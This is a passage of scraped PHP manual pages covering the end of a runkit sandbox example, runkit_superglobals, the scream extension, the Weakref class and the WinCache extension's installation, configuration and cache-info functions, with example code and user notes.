$php->echo("Hello\n");
$php->eval('var_dump("Excuse me");');
$php->die("I lost myself.");
unset($php);

echo "Sandbox Complete\n\n";
echo $sandbox_output;
?>

The above example will output:

Sandbox Complete

Hello
string(9) "Excuse me"
I lost myself.

User Contributed Notes

There are no user contributed notes for this page.
runkit_return_value_used
runkit_superglobals
runkit Functions


Return numerically indexed array of registered superglobals

runkit_sandbox_output_handler
scream
runkit Functions
PHP Manual

runkit_superglobals

(PECL runkit >= 0.7.0)

runkit_superglobals — Return numerically indexed array of registered superglobals

Description

array runkit_superglobals ( void )

Return Values

Returns a numerically indexed array of the currently registered superglobals. i.e. _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES

See Also

  • Variable Scope

User Contributed Notes

There are no user contributed notes for this page.
runkit_sandbox_output_handler
scream
runkit Functions


Break the silence operator

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
    • Example that shows the effect of scream

User Contributed Notes

There are no user contributed notes for this page.
runkit_superglobals
Introduction
Affecting PHP's Behaviour


Introduction

The scream extension gives the possibility to disable the silencing error control operator so all errors are being reported. This feature is controlled by an ini setting.

User Contributed Notes

There are no user contributed notes for this page.
scream
Installing/Configuring
scream


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
scream


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/scream

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

scream Configure Options
Name | Default | Changeable | Changelog
scream.enabled | Off | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

scream.enabled int

Whether or not to enable scream.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Examples
Installing/Configuring


Examples

Table of Contents

  • Example that shows the effect of scream

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Example that shows the effect of scream
scream


Example that shows the effect of scream

This example demonstrates how scream affects the behaviour of PHP's error handler.

Example #1 Enabling and disabling scream at runtime

<?php
// Make sure errors will be shown
ini_set('display_errors', true);
error_reporting(E_ALL);

// Disable scream - this is the default and produce an error
ini_set('scream.enabled', false);
echo "Opening http://example.com/not-existing-file\n";
@fopen('http://example.com/not-existing-file', 'r');

// Now enable scream and try again
ini_set('scream.enabled', true);
echo "Opening http://example.com/not-existing-file\n";
@fopen('http://example.com/another-not-existing-file', 'r');
?>

The above example will output something similar to:

Opening http://example.com/not-existing-file
Opening http://example.com/not-existing-file

Warning: fopen(http://example.com/another-not-existing-file): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in example.php on line 14

Note: Usually one would set this in the php.ini configuration file instead of changing the code.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Weakref
Examples


Weak References

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Resource Types
  • Weakref — The Weakref class
    • Weakref::acquire — Acquires a strong reference on that object
    • Weakref::__construct — Constructs a new weak reference
    • Weakref::get — Returns the object pointed to by the weak reference
    • Weakref::release — Releases a previously acquired reference
    • Weakref::valid — Checks whether the object referenced still exists

User Contributed Notes

There are no user contributed notes for this page.
Example that shows the effect of scream
Introduction
Affecting PHP's Behaviour


Introduction

Weak references provide a non-intrusive gateway to ephemeral objects. Unlike normal (strong) references, weak references do not prevent the garbage collector from freeing that object. For this reason, an object may be destroyed even though a weak reference to that object still exists. In such conditions, the weak reference seamlessly becomes invalid.

Example #1 Weakref usage example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.
Weakref
Installing/Configuring
Weakref


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Weakref


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/weakref.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Weakref
Installing/Configuring


The Weakref class

(No version information available, might only be in SVN)

Introduction

The Weakref class provides a gateway to objects without preventing the garbage collector from freeing those objects. It also provides a way to turn a weak reference into a strong one.

Class synopsis

Weakref {
/* Methods */
public __construct ([ object $object ] )
public bool acquire ( void )
public object get ( void )
public bool release ( void )
public bool valid ( void )
}

Examples

Example #1 Weakref usage example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

Table of Contents

  • Weakref::acquire — Acquires a strong reference on that object
  • Weakref::__construct — Constructs a new weak reference
  • Weakref::get — Returns the object pointed to by the weak reference
  • Weakref::release — Releases a previously acquired reference
  • Weakref::valid — Checks whether the object referenced still exists

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Weakref::acquire
Weakref


Acquires a strong reference on that object

Weakref
Weakref::__construct
Weakref
PHP Manual

Weakref::acquire

(No version information available, might only be in SVN)

Weakref::acquire — Acquires a strong reference on that object

Description

public bool Weakref::acquire ( void )

Acquires a strong reference on that object, virtually turning the weak reference into a strong one.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the reference was valid and could be turned into a strong reference, FALSE otherwise.

Examples

Example #1 Weakref::acquire() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

The above example will output:

Unsetting o1...
Unsetting o2...
Destroying object!

Example #2 Nested acquire/release example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

echo "Acquiring...\n";
$r1->acquire();

echo "  Unsetting...\n";
unset($o1);

echo "  Acquiring...\n";
$r1->acquire();

echo "    Acquiring...\n";
$r1->acquire();

echo "    Releasing...\n";
$r1->release();

echo "  Releasing...\n";
$r1->release();

echo "Releasing...\n";
$r1->release();

?>

The above example will output:

Acquiring...
  Unsetting...
  Acquiring...
    Acquiring...
    Releasing...
  Releasing...
Releasing...
Destroying object!

See Also

  • Weakref::release() - Releases a previously acquired reference

User Contributed Notes

There are no user contributed notes for this page.
Weakref
Weakref::__construct
Weakref


Constructs a new weak reference

Weakref::acquire
Weakref::get
Weakref
PHP Manual

Weakref::__construct

(No version information available, might only be in SVN)

Weakref::__construct — Constructs a new weak reference

Description

public Weakref::__construct() ([ object $object ] )

Constructs a new weak reference.

Parameters

object

The object to reference.

Return Values

No value is returned.

Examples

Example #1 Weakref::__construct() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

The above example will output:

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.
Weakref::acquire
Weakref::get
Weakref


Returns the object pointed to by the weak reference

Weakref::__construct
Weakref::release
Weakref
PHP Manual

Weakref::get

(No version information available, might only be in SVN)

Weakref::get — Returns the object pointed to by the weak reference

Description

public object Weakref::get ( void )

Returns the object pointed to by the weak reference.

Parameters

This function has no parameters.

Return Values

Returns the object if the reference is still valid, NULL otherwise.

See Also

  • Weakref::valid() - Checks whether the object referenced still exists

User Contributed Notes

There are no user contributed notes for this page.
Weakref::__construct
Weakref::release
Weakref


Releases a previously acquired reference

Weakref::get
Weakref::valid
Weakref
PHP Manual

Weakref::release

(No version information available, might only be in SVN)

Weakref::release — Releases a previously acquired reference

Description

public bool Weakref::release ( void )

Releases a previously acquired reference. Potentially turning a strong reference back into a weak reference.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the reference was previously acquired and thus could be released, FALSE otherwise.

Examples

Example #1 Weakref::release() example

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

The above example will output:

Unsetting o1...
Unsetting o2...
Destroying object!

See Also

  • Weakref::acquire() - Acquires a strong reference on that object

User Contributed Notes

There are no user contributed notes for this page.
Weakref::get
Weakref::valid
Weakref


Checks whether the object referenced still exists

Weakref::release
WinCache
Weakref
PHP Manual

Weakref::valid

(No version information available, might only be in SVN)

Weakref::valid — Checks whether the object referenced still exists

Description

public bool Weakref::valid ( void )

Checks whether the object referenced still exists.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the object still exists and is thus still accessible via Weakref::get(), FALSE otherwise.

See Also

  • Weakref::get() - Returns the object pointed to by the weak reference

User Contributed Notes

There are no user contributed notes for this page.
Weakref::release
WinCache
Weakref


Windows Cache for PHP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • WinCache Statistics Script
    • WinCache Session Handler
    • WinCache Functions Reroutes
    • Resource Types
  • Predefined Constants
  • WinCache Functions
    • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
    • wincache_fcache_meminfo — Retrieves information about file cache memory usage
    • wincache_lock — Acquires an exclusive lock on a given key
    • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
    • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
    • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
    • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
    • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
    • wincache_scache_info — Retrieves information about files cached in the session cache
    • wincache_scache_meminfo — Retrieves information about session cache memory usage
    • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
    • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
    • wincache_ucache_clear — Deletes entire content of the user cache
    • wincache_ucache_dec — Decrements the value associated with the key
    • wincache_ucache_delete — Deletes variables from the user cache
    • wincache_ucache_exists — Checks if a variable exists in the user cache
    • wincache_ucache_get — Gets a variable stored in the user cache
    • wincache_ucache_inc — Increments the value associated with the key
    • wincache_ucache_info — Retrieves information about data stored in the user cache
    • wincache_ucache_meminfo — Retrieves information about user cache memory usage
    • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
    • wincache_unlock — Releases an exclusive lock on a given key
  • Building for Windows
    • Prerequisites
    • Compiling and building
    • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.
Weakref::valid
Introduction
Affecting PHP's Behaviour


Introduction

Windows Cache Extension for PHP is a PHP accelerator that is used to increase the speed of PHP applications running on Windows and Windows Server. Once the Windows Cache Extension for PHP is enabled and loaded by the PHP engine, PHP applications can take advantage of the functionality without any code modifications.

The Windows Cache Extension includes 5 different types of caches. The following describes the purpose of each cache type and the benefits it provides.

  • PHP Opcode Cache - PHP is a script processing engine, which reads an input stream of data that contains text and/or PHP instructions and produces another stream of data, most commonly in the HTML format. This means that on a web server the PHP engine reads, parses, compiles and executes a PHP script each time that it is requested by a Web client. The reading, parsing and compilation operations put additional load on the web server's CPU and file system and thus affect the overall performance of a PHP web application. The PHP bytecode (opcode) cache is used to store the compiled script bytecode in shared memory so that it can be re-used by PHP engine for subsequent executions of the same script.

  • File Cache - Even with the PHP opcode cache enabled, the PHP engine has to accesses the script files on a file system. When PHP scripts are stored on a remote UNC file share, the file operations introduce a significant performance overhead. The Windows Cache Extension for PHP includes a file cache that is used to store the content of the PHP script files in shared memory, which reduces the amount of file system operations performed by PHP engine.

  • Resolve File Path Cache - PHP scripts very often include or operate with files by using relative file paths. Every file path has to be normalized to an absolute file path by the PHP engine. When a PHP application uses many PHP files and accesses them by relative paths, the operation of resolving the paths may negatively impact the application's performance. The Windows Cache Extension for PHP provides a Resolve File Path cache, which is used to store the mappings between relative and absolute file paths, thereby reducing the number of path resolutions that the PHP engine has to perform.

  • User Cache (available since version 1.1.0) - PHP scripts can take advantage of the shared memory cache by using the user cache API's. PHP objects and variables can be stored in the user cache and then re-used on subsequent requests. This can be used to improve performance of PHP scripts and to share the data across multiple PHP processes.

  • Session Handler (available since version 1.1.0) - The WinCache session handler can be used to store the PHP session data in the shared memory cache. This avoids file system operations for reading and writing session data, which improves performance when large amount of data is stored in PHP session.

User Contributed Notes

There are no user contributed notes for this page.
WinCache
Installing/Configuring
WinCache


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • WinCache Statistics Script
  • WinCache Session Handler
  • WinCache Functions Reroutes
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
WinCache


Requirements

The extension is currently supported only on the following configurations:

Windows OS:

  • Windows XP SP3 with IIS 5.1 and » FastCGI Extension
  • Windows Server 2003 with IIS 6.0 and » FastCGI Extension
  • Windows Vista SP1 with IIS 7.0 and FastCGI Module
  • Windows Server 2008 with IIS 7.0 and FastCGI Module
  • Windows 7 with IIS 7.5 and FastCGI Module
  • Windows Server 2008 R2 with IIS 7.5 and FastCGI Module

PHP:

  • PHP 5.2.X, Non-thread-safe build
  • PHP 5.3 X86, Non-thread-safe VC9 build

Note: The WinCache Extension can only be used when IIS is configured to run PHP via FastCGI.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/wincache.

There are two packages for this extension: one package is for PHP versions 5.2.X, and the other package is for PHP 5.3.X. Select the package that is appropriate for the PHP version being used.

To install and enable the extension, follow these steps:

  1. Unpack the package into some temporary location.

  2. Copy the php_wincache.dll file into the PHP extensions folder. Typically this folder is called "ext" and it is located in the same folder with all PHP binary files. For example: C:\Program Files\PHP\ext.

  3. Using a text editor, open the php.ini file, which is usually located in the same folder where all PHP binary files are. For example: C:\Program Files\PHP\php.ini.

  4. Add the following line at the end of the php.ini file: extension = php_wincache.dll.

  5. Save and close the php.ini file.

  6. Recycle the IIS Application Pools for PHP to pick up the configuration changes. To check that the extension has been enabled, create a file called phpinfo.php with a PHP code that calls phpinfo function.

  7. Save the phpinfo.php file in the root folder of a IIS web site that uses PHP, then open a browser and make a request to http://localhost/phpinfo.php. Search within the returned web page for a section called wincache. If the extension is enabled, then the phpinfo output will list the configuration settings provided by the WinCache.

Note: Do not forget to remove phpinfo.php file from the web site's root folder after verifying that extension has been enabled.

User Contributed Notes

nils dot luxton at gmail dot com 24-Jun-2011 04:10
If you're after pre-compiled binaries for WinCache, you can find them here: http://www.iis.net/download/WinCacheForPhp on the right-hand side of the page (under the Web Platform Installer button)
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The following table lists and explains the configuration settings provided by the WinCache extension:

WinCache configuration options
Name | Default | Minimum | Maximum | Changeable | Changelog
wincache.fcenabled | "1" | "0" | "1" | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.fcenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.fcachesize | "24" | "5" | "255" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.fcndetect | "1" | "0" | "1" | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.maxfilesize | "256" | "10" | "2048" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ocenabled | "1" | "0" | "1" | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.ocenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ocachesize | "96" | "15" | "255" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.filecount | "4096" | "1024" | "16384" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.chkinterval | "30" | "0" | "300" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ttlmax | "1200" | "0" | "7200" | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.enablecli | 0 | 0 | 1 | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ignorelist | NULL | NULL | NULL | PHP_INI_ALL | Available since WinCache 1.0.0
wincache.namesalt | NULL | NULL | NULL | PHP_INI_SYSTEM | Available since WinCache 1.0.0
wincache.ucenabled | 1 | 0 | 1 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.ucachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.scachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | Available since WinCache 1.1.0
wincache.rerouteini | NULL | NULL | NULL | PHP_INI_SYSTEM | Available since WinCache 1.2.0
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

wincache.fcenabled boolean
Enables or disables the file cache functionality.
wincache.fcenabledfilter string
Defines a comma-separated list of IIS web site identifiers where file cache should be enabled or disabled. This setting works in conjunction with wincache.fcenabled: if wincache.fcenabled is set to 1, then the sites listed in the wincache.fcenabledfilter will have the file cache turned off; if wincache.fcenabled is set to 0, then the sites listed in the wincache.fcenabledfilter will have the file cache turned on.
wincache.fcachesize integer
Defines the maximum memory size (in megabytes) that is allocated for the file cache. If the total size of all the cached files exceeds the value specified in this setting, then most stale files will be removed from the file cache.
wincache.fcndetect boolean
Enables or disables the file change notification detection functionality. If file change notification is supported then it will be used to refresh the opcode and file cache entries as soon as the corresponding files are modified on a file system. If file change notification is not supported, for example when using network file shares, then wincache will poll for file changes at regular time intervals specified by wincache.chkinterval.
wincache.maxfilesize integer
Defines the maximum allowed size (in kilobytes) for a single file to be cached. If a file size exceeds the specified value, the file will not be cached. This setting applies to the file cache only.
wincache.ocenabled boolean
Enables or disables the opcode cache functionality
wincache.ocenabledfilter string
Defines a comma-separated list of IIS web site identifiers where opcode cache should be enabled or disabled. This setting works in conjunction with wincache.ocenabled: if wincache.ocenabled is set to 1, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned off; if wincache.ocenabled is set to 0, then the sites listed in the wincache.ocenabledfilter will have the opcode cache turned on.
wincache.ocachesize integer
Defines the maximum memory size (in megabytes) that is allocated for the opcode cache. If the cached opcode size exceeds the specified value, then most stale opcode will be removed from the cache. Note that the opcode cache size must be at least 3 times bigger than file cache size. If that is not the case the opcode cache size will be automatically increased.
wincache.filecount integer
Defines how many files are expected to be cached by the extension, so that appropriate memory size is allocated at the startup time. If the number of files exceeds the specified value, the WinCache will re-allocate more memory as needed.
wincache.chkinterval integer
Defines how often (in seconds) the extension checks for file changes in order to refresh the cache. Setting it to 0 will disable the refreshing of the cache. The file changes will not be reflected in the cache unless the cache entry for that file is removed by scavenger or IIS application pool is recycled or wincache_refresh_if_changed function is called.
wincache.ttlmax integer
Defines the maximum time to live (in seconds) for a cached entry without being used. Setting it to 0 will disable the cache scavenger, so the cached entries will never be removed from the cache during the lifetime of the IIS worker process.
wincache.enablecli boolean
Defines if caching is enabled when PHP is running in command line (CLI) mode.
wincache.ignorelist string

Defines a list of files that should not be cached by the extension. The files list is specified by using file names only, separated by the pipe symbol - "|".

Example #1 wincache.ignorelist example

wincache.ignorelist = "index.php|misc.php|admin.php"

wincache.namesalt string
Defines a string that will be used when naming the extension specific objects that are stored in shared memory. This is used to avoid conflicts that may be caused if other applications within an IIS worker process tries to access shared memory. The length of the namesalt string cannot exceed 8 characters.
wincache.ucenabled boolean
Enables or disables the user cache functionality.
wincache.ucachesize integer
Defines the maximum memory size in megabytes that is allocated for the user cache. If the total size of variables stored in the user cache exceeds the specified value, then the most stale variables will be removed from the cache.
wincache.scachesize integer
Defines the maximum memory size in megabytes that is allocated for the session cache. If the total size of data stored in the session cache exceeds the specified value, then the most stale data will be removed from the cache.
wincache.rerouteini string
Specifies an absolute or a relateve path to the reroute.ini file that contains the list of PHP functions whose implementation should be replaced with the WinCache function equivalents. If a relative path is specified then it is assumed to be relative to the location of php-cgi.exe file.

User Contributed Notes

There are no user contributed notes for this page.
Installation
WinCache Statistics Script
Installing/Configuring


WinCache Statistics Script

The installation package for WinCache includes a PHP script, wincache.php, that can be used to obtain cache information and statistics.

If the WinCache extension was installed via the Microsoft Web Platform Installer, then this script is located in %SystemDrive%\Program Files\IIS\Windows Cache for PHP\. On a 64-bit version of the Windows Server operating system, the script is located in %SystemDrive%\Program Files (x86)\IIS\Windows Cache for PHP. If the extension was installed manually, then the wincache.php will be located in the same folder from which the content of the installation package was extracted.

To use wincache.php, copy it into a root folder of a Web site or into any subfolder. To protect the script, open it in any text editor and replace the values for USERNAME and PASSWORD constants. If any other IIS authentication is enabled on the server, then follow the instructions in the comments:

Example #1 Authentication configuration for wincache.php

<?php
/**
 * ======================== CONFIGURATION SETTINGS ==============================
 * If you do not want to use authentication for this page, set USE_AUTHENTICATION to 0.
 * If you use authentication then replace the default password.
 */
define('USE_AUTHENTICATION', 1);
define('USERNAME', 'wincache');
define('PASSWORD', 'wincache');

/**
 * The Basic PHP authentication will work only when IIS is configured to support
 * Anonymous Authentication' and nothing else. If IIS is configured to support/use
 * any other kind of authentication like Basic/Negotiate/Digest etc, this will not work.
 * In that case use the array below to define the names of users in your
 * domain/network/workgroup which you want to grant access to.
 */
$user_allowed = array('DOMAIN\user1', 'DOMAIN\user2', 'DOMAIN\user3');

/**
 * If the array contains string 'all', then all the users authenticated by IIS
 * will have access to the page. Uncomment the below line and comment above line
 * to grant access to all users who gets authenticated by IIS.
 */
/* $user_allowed = array('all'); */

/** ===================== END OF CONFIGURATION SETTINGS ========================== */
?>

Note: Always protect the wincache.php script by using either the built-in authentication or the server's authentication mechanism. Leaving this script unprotected may compromise the security of your web application and web server.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
WinCache Session Handler
Installing/Configuring


WinCache Session Handler

The WinCache session handler (available since WinCache 1.1.0) can be used to configure PHP to store the session data in shared memory session cache. Using shared memory instead of the default file session storage helps improve performance of PHP applications that store large amount of data in session objects. Wincache session cache uses file-backed shared memory, which ensures that the session data is not lost during recycling of IIS application pools.

To configure PHP to use WinCache session handler set the php.ini setting session.save_handler to wincache. By default the Windows temporary file location is used for storing the session data. To change the location of the session file use session.save_path directive.

Example #1 Enabling WinCache session handler

session.save_handler = wincache
session.save_path = C:\inetpub\temp\session\

User Contributed Notes

some at email dot com 16-Nov-2011 01:23
IF you use Apache and Session not work add to FCGID

DefaultInitEnv APP_POOL_ID "DefaultAppPool"
sethm at uoregon dot edu 06-Oct-2010 10:04
Just as an fyi to anyone who has similar issues. WinCache v1.1.x would not write sessions to files under certain conditions. This means that all sessions are lost whenever an app-pool recycle occur. Here is the work around:

If your app-pool name has periods (.) in it, change them to underscores (_). So an app-pool named www.somesite.com should be renamed to www_somesite_com.

You can see the discussion here:
http://forums.iis.net/p/1171996/1957839.aspx#1957839
WinCache Statistics Script
WinCache Functions Reroutes
Installing/Configuring


WinCache Functions Reroutes

The WinCache functions reroutes (available since WinCache 1.2.0) can be used to replace built-in PHP functions with their equivalents that are optimized for a particular purpose. WinCache extension includes Windows-optimized implementation of PHP file functions that may improve performance of PHP applications in cases when PHP has to access files on network shares. The optimized implementation is provided for the following functions:

  • file_exists
  • file_get_contents
  • readfile
  • is_readable
  • is_writable
  • is_dir
  • realpath
  • filesize

To configure WinCache to use the functions reroutes use the file reroute.ini that is included in WinCache installation package. Copy this file into the same directory where php.ini file is located. After that add the wincache.rerouteini setting in php.ini and specify an absolute or relative path to the reroute.ini file.

Example #1 Enabling WinCache functions reroutes

wincache.rerouteini = C:\PHP\reroute.ini

Note: If WinCache functions reroutes are enabled it is recommended to increase the WinCache file cache size. This can be done by using wincache.fcachesize setting.

The reroute.ini file contains the mappings between the native PHP functions and their equivalents in WinCache. Each line in the file defines a mapping by using the following syntax:

<PHP function name>:[<number of function parameters>]=<wincache function name>

The example of the file is shown below. In this example the calls to PHP function file_get_contents() will be replaced with calls to wincache_file_get_contents() only if the number of parameters passed to the function is less than or equals to 2. Specifying the number of parameters is useful when replacement function does not handle all the function's parameters.

Example #2 Reroute.ini file content

[FunctionRerouteList]
file_exists=wincache_file_exists
file_get_contents:2=wincache_file_get_contents
readfile:2=wincache_readfile
is_readable=wincache_is_readable
is_writable=wincache_is_writable
is_writeable=wincache_is_writable
is_file=wincache_is_file
is_dir=wincache_is_dir
realpath=wincache_realpath
filesize=wincache_filesize

User Contributed Notes

There are no user contributed notes for this page.
WinCache Session Handler
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
WinCache Functions Reroutes
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
WinCache Functions
WinCache


WinCache Functions

Table of Contents

  • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo — Retrieves information about file cache memory usage
  • wincache_lock — Acquires an exclusive lock on a given key
  • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
  • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
  • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
  • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
  • wincache_scache_info — Retrieves information about files cached in the session cache
  • wincache_scache_meminfo — Retrieves information about session cache memory usage
  • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
  • wincache_ucache_clear — Deletes entire content of the user cache
  • wincache_ucache_dec — Decrements the value associated with the key
  • wincache_ucache_delete — Deletes variables from the user cache
  • wincache_ucache_exists — Checks if a variable exists in the user cache
  • wincache_ucache_get — Gets a variable stored in the user cache
  • wincache_ucache_inc — Increments the value associated with the key
  • wincache_ucache_info — Retrieves information about data stored in the user cache
  • wincache_ucache_meminfo — Retrieves information about user cache memory usage
  • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_unlock — Releases an exclusive lock on a given key

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
wincache_fcache_fileinfo
WinCache


Retrieves information about files cached in the file cache

WinCache Functions
wincache_fcache_meminfo
WinCache Functions
PHP Manual

wincache_fcache_fileinfo

(PECL wincache >= 1.0.0)

wincache_fcache_fileinfo — Retrieves information about files cached in the file cache

Description

array wincache_fcache_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about file cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the file cache summary.

Return Values

Array of meta data about file cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the file cache has been active
  • total_file_count - total number of files that are currently in the file cache
  • total_hit_count - number of times the files have been served from the file cache
  • total_miss_count - number of times the files have not been found in the file cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the file cache
    • use_time - time in seconds since the file has been accessed in the file cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • file_size - size of the cached file in bytes

Examples

Example #1 A wincache_fcache_fileinfo() example

<pre>
<?php
print_r(wincache_fcache_fileinfo());
?>
</pre>

The above example will output:

Array
(   [total_cache_uptime] => 3234
    [total_file_count] => 5
    [total_hit_count] => 0
    [total_miss_count] => 1
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 1
                    [use_time] => 0
                    [last_check] => 1
                    [hit_count] => 1
                    [file_size] => 2435
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
